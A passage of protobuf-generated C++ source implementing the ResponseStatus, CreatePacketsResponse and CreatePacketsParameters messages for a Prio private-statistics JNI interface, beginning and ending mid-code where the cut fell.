".prio.proto.ResponseStatus\022\r\n\005share\030\002 \003("
"\014\"\222\001\n\027CreatePacketsParameters\022O\n\017prio_pa"
"rameters\030\001 \001(\01326.private_statistics.prio"
".proto.PrioAlgorithmParameters\022\023\n\013public"
"_keys\030\002 \003(\t\022\021\n\tdata_bits\030\003 \003(\rB\035\n\033privat"
"e_statistics.prio.jni"
;
static const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable*const descriptor_table_prio_2fjni_2fmessage_2eproto_deps[1] = {
&::descriptor_table_prio_2fproto_2falgorithm_5fparameters_2eproto,
};
static ::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase*const descriptor_table_prio_2fjni_2fmessage_2eproto_sccs[3] = {
&scc_info_CreatePacketsParameters_prio_2fjni_2fmessage_2eproto.base,
&scc_info_CreatePacketsResponse_prio_2fjni_2fmessage_2eproto.base,
&scc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto.base,
};
static ::PROTOBUF_NAMESPACE_ID::internal::once_flag descriptor_table_prio_2fjni_2fmessage_2eproto_once;
const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable descriptor_table_prio_2fjni_2fmessage_2eproto = {
false, false, descriptor_table_protodef_prio_2fjni_2fmessage_2eproto, "prio/jni/message.proto", 621,
&descriptor_table_prio_2fjni_2fmessage_2eproto_once, descriptor_table_prio_2fjni_2fmessage_2eproto_sccs, descriptor_table_prio_2fjni_2fmessage_2eproto_deps, 3, 1,
schemas, file_default_instances, TableStruct_prio_2fjni_2fmessage_2eproto::offsets,
file_level_metadata_prio_2fjni_2fmessage_2eproto, 3, file_level_enum_descriptors_prio_2fjni_2fmessage_2eproto, file_level_service_descriptors_prio_2fjni_2fmessage_2eproto,
};
// Force running AddDescriptors() at dynamic initialization time.
static bool dynamic_init_dummy_prio_2fjni_2fmessage_2eproto = (static_cast<void>(::PROTOBUF_NAMESPACE_ID::internal::AddDescriptors(&descriptor_table_prio_2fjni_2fmessage_2eproto)), true);
namespace private_statistics {
namespace prio {
namespace proto {
const ::PROTOBUF_NAMESPACE_ID::EnumDescriptor* ResponseStatus_StatusCode_descriptor() {
::PROTOBUF_NAMESPACE_ID::internal::AssignDescriptors(&descriptor_table_prio_2fjni_2fmessage_2eproto);
return file_level_enum_descriptors_prio_2fjni_2fmessage_2eproto[0];
}
bool ResponseStatus_StatusCode_IsValid(int value) {
switch (value) {
case 0:
case 1:
case 2:
case 3:
return true;
default:
return false;
}
}
#if (__cplusplus < 201703) && (!defined(_MSC_VER) || _MSC_VER >= 1900)
constexpr ResponseStatus_StatusCode ResponseStatus::UNKNOWN_FAILURE;
constexpr ResponseStatus_StatusCode ResponseStatus::OK;
constexpr ResponseStatus_StatusCode ResponseStatus::CANCELLED_FAILURE;
constexpr ResponseStatus_StatusCode ResponseStatus::INVALID_PARAMETER_FAILURE;
constexpr ResponseStatus_StatusCode ResponseStatus::StatusCode_MIN;
constexpr ResponseStatus_StatusCode ResponseStatus::StatusCode_MAX;
constexpr int ResponseStatus::StatusCode_ARRAYSIZE;
#endif // (__cplusplus < 201703) && (!defined(_MSC_VER) || _MSC_VER >= 1900)
// ===================================================================
void ResponseStatus::InitAsDefaultInstance() {
}
class ResponseStatus::_Internal {
public:
using HasBits = decltype(std::declval<ResponseStatus>()._has_bits_);
static void set_has_status_code(HasBits* has_bits) {
(*has_bits)[0] |= 2u;
}
static void set_has_error_details(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
};
ResponseStatus::ResponseStatus(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:private_statistics.prio.proto.ResponseStatus)
}
ResponseStatus::ResponseStatus(const ResponseStatus& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
error_details_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
if (from._internal_has_error_details()) {
error_details_.Set(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), from._internal_error_details(),
GetArena());
}
status_code_ = from.status_code_;
// @@protoc_insertion_point(copy_constructor:private_statistics.prio.proto.ResponseStatus)
}
void ResponseStatus::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto.base);
error_details_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
status_code_ = 0;
}
ResponseStatus::~ResponseStatus() {
// @@protoc_insertion_point(destructor:private_statistics.prio.proto.ResponseStatus)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void ResponseStatus::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
error_details_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited());
}
void ResponseStatus::ArenaDtor(void* object) {
ResponseStatus* _this = reinterpret_cast< ResponseStatus* >(object);
(void)_this;
}
void ResponseStatus::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void ResponseStatus::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const ResponseStatus& ResponseStatus::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_ResponseStatus_prio_2fjni_2fmessage_2eproto.base);
return *internal_default_instance();
}
void ResponseStatus::Clear() {
// @@protoc_insertion_point(message_clear_start:private_statistics.prio.proto.ResponseStatus)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000001u) {
error_details_.ClearNonDefaultToEmpty();
}
status_code_ = 0;
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* ResponseStatus::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
::PROTOBUF_NAMESPACE_ID::Arena* arena = GetArena(); (void)arena;
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// optional .private_statistics.prio.proto.ResponseStatus.StatusCode status_code = 1 [default = UNKNOWN_FAILURE];
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 8)) {
::PROTOBUF_NAMESPACE_ID::uint64 val = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint64(&ptr);
CHK_(ptr);
if (PROTOBUF_PREDICT_TRUE(::private_statistics::prio::proto::ResponseStatus_StatusCode_IsValid(val))) {
_internal_set_status_code(static_cast<::private_statistics::prio::proto::ResponseStatus_StatusCode>(val));
} else {
::PROTOBUF_NAMESPACE_ID::internal::WriteVarint(1, val, mutable_unknown_fields());
}
} else goto handle_unusual;
continue;
// optional string error_details = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) {
auto str = _internal_mutable_error_details();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
#ifndef NDEBUG
::PROTOBUF_NAMESPACE_ID::internal::VerifyUTF8(str, "private_statistics.prio.proto.ResponseStatus.error_details");
#endif // !NDEBUG
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* ResponseStatus::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:private_statistics.prio.proto.ResponseStatus)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// optional .private_statistics.prio.proto.ResponseStatus.StatusCode status_code = 1 [default = UNKNOWN_FAILURE];
if (cached_has_bits & 0x00000002u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteEnumToArray(
1, this->_internal_status_code(), target);
}
// optional string error_details = 2;
if (cached_has_bits & 0x00000001u) {
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField(
this->_internal_error_details().data(), static_cast<int>(this->_internal_error_details().length()),
::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE,
"private_statistics.prio.proto.ResponseStatus.error_details");
target = stream->WriteStringMaybeAliased(
2, this->_internal_error_details(), target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:private_statistics.prio.proto.ResponseStatus)
return target;
}
size_t ResponseStatus::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:private_statistics.prio.proto.ResponseStatus)
size_t total_size = 0;
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000003u) {
// optional string error_details = 2;
if (cached_has_bits & 0x00000001u) {
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize(
this->_internal_error_details());
}
// optional .private_statistics.prio.proto.ResponseStatus.StatusCode status_code = 1 [default = UNKNOWN_FAILURE];
if (cached_has_bits & 0x00000002u) {
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::EnumSize(this->_internal_status_code());
}
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void ResponseStatus::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:private_statistics.prio.proto.ResponseStatus)
GOOGLE_DCHECK_NE(&from, this);
const ResponseStatus* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<ResponseStatus>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:private_statistics.prio.proto.ResponseStatus)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:private_statistics.prio.proto.ResponseStatus)
MergeFrom(*source);
}
}
void ResponseStatus::MergeFrom(const ResponseStatus& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:private_statistics.prio.proto.ResponseStatus)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = from._has_bits_[0];
if (cached_has_bits & 0x00000003u) {
if (cached_has_bits & 0x00000001u) {
_internal_set_error_details(from._internal_error_details());
}
if (cached_has_bits & 0x00000002u) {
status_code_ = from.status_code_;
}
_has_bits_[0] |= cached_has_bits;
}
}
void ResponseStatus::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:private_statistics.prio.proto.ResponseStatus)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void ResponseStatus::CopyFrom(const ResponseStatus& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:private_statistics.prio.proto.ResponseStatus)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool ResponseStatus::IsInitialized() const {
return true;
}
void ResponseStatus::InternalSwap(ResponseStatus* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
error_details_.Swap(&other->error_details_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena());
swap(status_code_, other->status_code_);
}
::PROTOBUF_NAMESPACE_ID::Metadata ResponseStatus::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
void CreatePacketsResponse::InitAsDefaultInstance() {
::private_statistics::prio::proto::_CreatePacketsResponse_default_instance_._instance.get_mutable()->response_status_ = const_cast< ::private_statistics::prio::proto::ResponseStatus*>(
::private_statistics::prio::proto::ResponseStatus::internal_default_instance());
}
class CreatePacketsResponse::_Internal {
public:
using HasBits = decltype(std::declval<CreatePacketsResponse>()._has_bits_);
static const ::private_statistics::prio::proto::ResponseStatus& response_status(const CreatePacketsResponse* msg);
static void set_has_response_status(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
};
const ::private_statistics::prio::proto::ResponseStatus&
CreatePacketsResponse::_Internal::response_status(const CreatePacketsResponse* msg) {
return *msg->response_status_;
}
CreatePacketsResponse::CreatePacketsResponse(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena),
share_(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:private_statistics.prio.proto.CreatePacketsResponse)
}
CreatePacketsResponse::CreatePacketsResponse(const CreatePacketsResponse& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_),
share_(from.share_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
if (from._internal_has_response_status()) {
response_status_ = new ::private_statistics::prio::proto::ResponseStatus(*from.response_status_);
} else {
response_status_ = nullptr;
}
// @@protoc_insertion_point(copy_constructor:private_statistics.prio.proto.CreatePacketsResponse)
}
void CreatePacketsResponse::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_CreatePacketsResponse_prio_2fjni_2fmessage_2eproto.base);
response_status_ = nullptr;
}
CreatePacketsResponse::~CreatePacketsResponse() {
// @@protoc_insertion_point(destructor:private_statistics.prio.proto.CreatePacketsResponse)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void CreatePacketsResponse::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
if (this != internal_default_instance()) delete response_status_;
}
void CreatePacketsResponse::ArenaDtor(void* object) {
CreatePacketsResponse* _this = reinterpret_cast< CreatePacketsResponse* >(object);
(void)_this;
}
void CreatePacketsResponse::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void CreatePacketsResponse::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const CreatePacketsResponse& CreatePacketsResponse::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_CreatePacketsResponse_prio_2fjni_2fmessage_2eproto.base);
return *internal_default_instance();
}
void CreatePacketsResponse::Clear() {
// @@protoc_insertion_point(message_clear_start:private_statistics.prio.proto.CreatePacketsResponse)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
share_.Clear();
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000001u) {
GOOGLE_DCHECK(response_status_ != nullptr);
response_status_->Clear();
}
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* CreatePacketsResponse::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
::PROTOBUF_NAMESPACE_ID::Arena* arena = GetArena(); (void)arena;
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// optional .private_statistics.prio.proto.ResponseStatus response_status = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) {
ptr = ctx->ParseMessage(_internal_mutable_response_status(), ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// repeated bytes share = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) {
ptr -= 1;
do {
ptr += 1;
auto str = _internal_add_share();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<18>(ptr));
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* CreatePacketsResponse::_InternalSerialize(
::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const {
// @@protoc_insertion_point(serialize_to_array_start:private_statistics.prio.proto.CreatePacketsResponse)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
cached_has_bits = _has_bits_[0];
// optional .private_statistics.prio.proto.ResponseStatus response_status = 1;
if (cached_has_bits & 0x00000001u) {
target = stream->EnsureSpace(target);
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::
InternalWriteMessage(
1, _Internal::response_status(this), target, stream);
}
// repeated bytes share = 2;
for (int i = 0, n = this->_internal_share_size(); i < n; i++) {
const auto& s = this->_internal_share(i);
target = stream->WriteBytes(2, s, target);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray(
_internal_metadata_.unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(::PROTOBUF_NAMESPACE_ID::UnknownFieldSet::default_instance), target, stream);
}
// @@protoc_insertion_point(serialize_to_array_end:private_statistics.prio.proto.CreatePacketsResponse)
return target;
}
size_t CreatePacketsResponse::ByteSizeLong() const {
// @@protoc_insertion_point(message_byte_size_start:private_statistics.prio.proto.CreatePacketsResponse)
size_t total_size = 0;
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
// repeated bytes share = 2;
total_size += 1 *
::PROTOBUF_NAMESPACE_ID::internal::FromIntSize(share_.size());
for (int i = 0, n = share_.size(); i < n; i++) {
total_size += ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::BytesSize(
share_.Get(i));
}
// optional .private_statistics.prio.proto.ResponseStatus response_status = 1;
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000001u) {
total_size += 1 +
::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::MessageSize(
*response_status_);
}
if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) {
return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize(
_internal_metadata_, total_size, &_cached_size_);
}
int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size);
SetCachedSize(cached_size);
return total_size;
}
void CreatePacketsResponse::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_merge_from_start:private_statistics.prio.proto.CreatePacketsResponse)
GOOGLE_DCHECK_NE(&from, this);
const CreatePacketsResponse* source =
::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<CreatePacketsResponse>(
&from);
if (source == nullptr) {
// @@protoc_insertion_point(generalized_merge_from_cast_fail:private_statistics.prio.proto.CreatePacketsResponse)
::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this);
} else {
// @@protoc_insertion_point(generalized_merge_from_cast_success:private_statistics.prio.proto.CreatePacketsResponse)
MergeFrom(*source);
}
}
void CreatePacketsResponse::MergeFrom(const CreatePacketsResponse& from) {
// @@protoc_insertion_point(class_specific_merge_from_start:private_statistics.prio.proto.CreatePacketsResponse)
GOOGLE_DCHECK_NE(&from, this);
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
(void) cached_has_bits;
share_.MergeFrom(from.share_);
if (from._internal_has_response_status()) {
_internal_mutable_response_status()->::private_statistics::prio::proto::ResponseStatus::MergeFrom(from._internal_response_status());
}
}
void CreatePacketsResponse::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) {
// @@protoc_insertion_point(generalized_copy_from_start:private_statistics.prio.proto.CreatePacketsResponse)
if (&from == this) return;
Clear();
MergeFrom(from);
}
void CreatePacketsResponse::CopyFrom(const CreatePacketsResponse& from) {
// @@protoc_insertion_point(class_specific_copy_from_start:private_statistics.prio.proto.CreatePacketsResponse)
if (&from == this) return;
Clear();
MergeFrom(from);
}
bool CreatePacketsResponse::IsInitialized() const {
return true;
}
void CreatePacketsResponse::InternalSwap(CreatePacketsResponse* other) {
using std::swap;
_internal_metadata_.Swap<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(&other->_internal_metadata_);
swap(_has_bits_[0], other->_has_bits_[0]);
share_.InternalSwap(&other->share_);
swap(response_status_, other->response_status_);
}
::PROTOBUF_NAMESPACE_ID::Metadata CreatePacketsResponse::GetMetadata() const {
return GetMetadataStatic();
}
// ===================================================================
void CreatePacketsParameters::InitAsDefaultInstance() {
::private_statistics::prio::proto::_CreatePacketsParameters_default_instance_._instance.get_mutable()->prio_parameters_ = const_cast< ::private_statistics::prio::proto::PrioAlgorithmParameters*>(
::private_statistics::prio::proto::PrioAlgorithmParameters::internal_default_instance());
}
class CreatePacketsParameters::_Internal {
public:
using HasBits = decltype(std::declval<CreatePacketsParameters>()._has_bits_);
static const ::private_statistics::prio::proto::PrioAlgorithmParameters& prio_parameters(const CreatePacketsParameters* msg);
static void set_has_prio_parameters(HasBits* has_bits) {
(*has_bits)[0] |= 1u;
}
};
const ::private_statistics::prio::proto::PrioAlgorithmParameters&
CreatePacketsParameters::_Internal::prio_parameters(const CreatePacketsParameters* msg) {
return *msg->prio_parameters_;
}
void CreatePacketsParameters::clear_prio_parameters() {
if (prio_parameters_ != nullptr) prio_parameters_->Clear();
_has_bits_[0] &= ~0x00000001u;
}
CreatePacketsParameters::CreatePacketsParameters(::PROTOBUF_NAMESPACE_ID::Arena* arena)
: ::PROTOBUF_NAMESPACE_ID::Message(arena),
public_keys_(arena),
data_bits_(arena) {
SharedCtor();
RegisterArenaDtor(arena);
// @@protoc_insertion_point(arena_constructor:private_statistics.prio.proto.CreatePacketsParameters)
}
CreatePacketsParameters::CreatePacketsParameters(const CreatePacketsParameters& from)
: ::PROTOBUF_NAMESPACE_ID::Message(),
_has_bits_(from._has_bits_),
public_keys_(from.public_keys_),
data_bits_(from.data_bits_) {
_internal_metadata_.MergeFrom<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(from._internal_metadata_);
if (from._internal_has_prio_parameters()) {
prio_parameters_ = new ::private_statistics::prio::proto::PrioAlgorithmParameters(*from.prio_parameters_);
} else {
prio_parameters_ = nullptr;
}
// @@protoc_insertion_point(copy_constructor:private_statistics.prio.proto.CreatePacketsParameters)
}
void CreatePacketsParameters::SharedCtor() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_CreatePacketsParameters_prio_2fjni_2fmessage_2eproto.base);
prio_parameters_ = nullptr;
}
CreatePacketsParameters::~CreatePacketsParameters() {
// @@protoc_insertion_point(destructor:private_statistics.prio.proto.CreatePacketsParameters)
SharedDtor();
_internal_metadata_.Delete<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
void CreatePacketsParameters::SharedDtor() {
GOOGLE_DCHECK(GetArena() == nullptr);
if (this != internal_default_instance()) delete prio_parameters_;
}
void CreatePacketsParameters::ArenaDtor(void* object) {
CreatePacketsParameters* _this = reinterpret_cast< CreatePacketsParameters* >(object);
(void)_this;
}
void CreatePacketsParameters::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) {
}
void CreatePacketsParameters::SetCachedSize(int size) const {
_cached_size_.Set(size);
}
const CreatePacketsParameters& CreatePacketsParameters::default_instance() {
::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_CreatePacketsParameters_prio_2fjni_2fmessage_2eproto.base);
return *internal_default_instance();
}
void CreatePacketsParameters::Clear() {
// @@protoc_insertion_point(message_clear_start:private_statistics.prio.proto.CreatePacketsParameters)
::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0;
// Prevent compiler warnings about cached_has_bits being unused
(void) cached_has_bits;
public_keys_.Clear();
data_bits_.Clear();
cached_has_bits = _has_bits_[0];
if (cached_has_bits & 0x00000001u) {
GOOGLE_DCHECK(prio_parameters_ != nullptr);
prio_parameters_->Clear();
}
_has_bits_.Clear();
_internal_metadata_.Clear<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>();
}
const char* CreatePacketsParameters::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) {
#define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure
_Internal::HasBits has_bits{};
::PROTOBUF_NAMESPACE_ID::Arena* arena = GetArena(); (void)arena;
while (!ctx->Done(&ptr)) {
::PROTOBUF_NAMESPACE_ID::uint32 tag;
ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag);
CHK_(ptr);
switch (tag >> 3) {
// optional .private_statistics.prio.proto.PrioAlgorithmParameters prio_parameters = 1;
case 1:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) {
ptr = ctx->ParseMessage(_internal_mutable_prio_parameters(), ptr);
CHK_(ptr);
} else goto handle_unusual;
continue;
// repeated string public_keys = 2;
case 2:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) {
ptr -= 1;
do {
ptr += 1;
auto str = _internal_add_public_keys();
ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx);
#ifndef NDEBUG
::PROTOBUF_NAMESPACE_ID::internal::VerifyUTF8(str, "private_statistics.prio.proto.CreatePacketsParameters.public_keys");
#endif // !NDEBUG
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<18>(ptr));
} else goto handle_unusual;
continue;
// repeated uint32 data_bits = 3;
case 3:
if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 24)) {
ptr -= 1;
do {
ptr += 1;
_internal_add_data_bits(::PROTOBUF_NAMESPACE_ID::internal::ReadVarint32(&ptr));
CHK_(ptr);
if (!ctx->DataAvailable(ptr)) break;
} while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<24>(ptr));
} else if (static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 26) {
ptr = ::PROTOBUF_NAMESPACE_ID::internal::PackedUInt32Parser(_internal_mutable_data_bits(), ptr, ctx);
CHK_(ptr);
} else goto handle_unusual;
continue;
default: {
handle_unusual:
if ((tag & 7) == 4 || tag == 0) {
ctx->SetLastTag(tag);
goto success;
}
ptr = UnknownFieldParse(tag,
_internal_metadata_.mutable_unknown_fields<::PROTOBUF_NAMESPACE_ID::UnknownFieldSet>(),
ptr, ctx);
CHK_(ptr != nullptr);
continue;
}
} // switch
} // while
success:
_has_bits_.Or(has_bits);
return ptr;
failure:
ptr = nullptr;
goto success;
#undef CHK_
}
::PROTOBUF_NAMESPACE_ID::uint8* CreatePacketsParameters::_InternalSerialize(
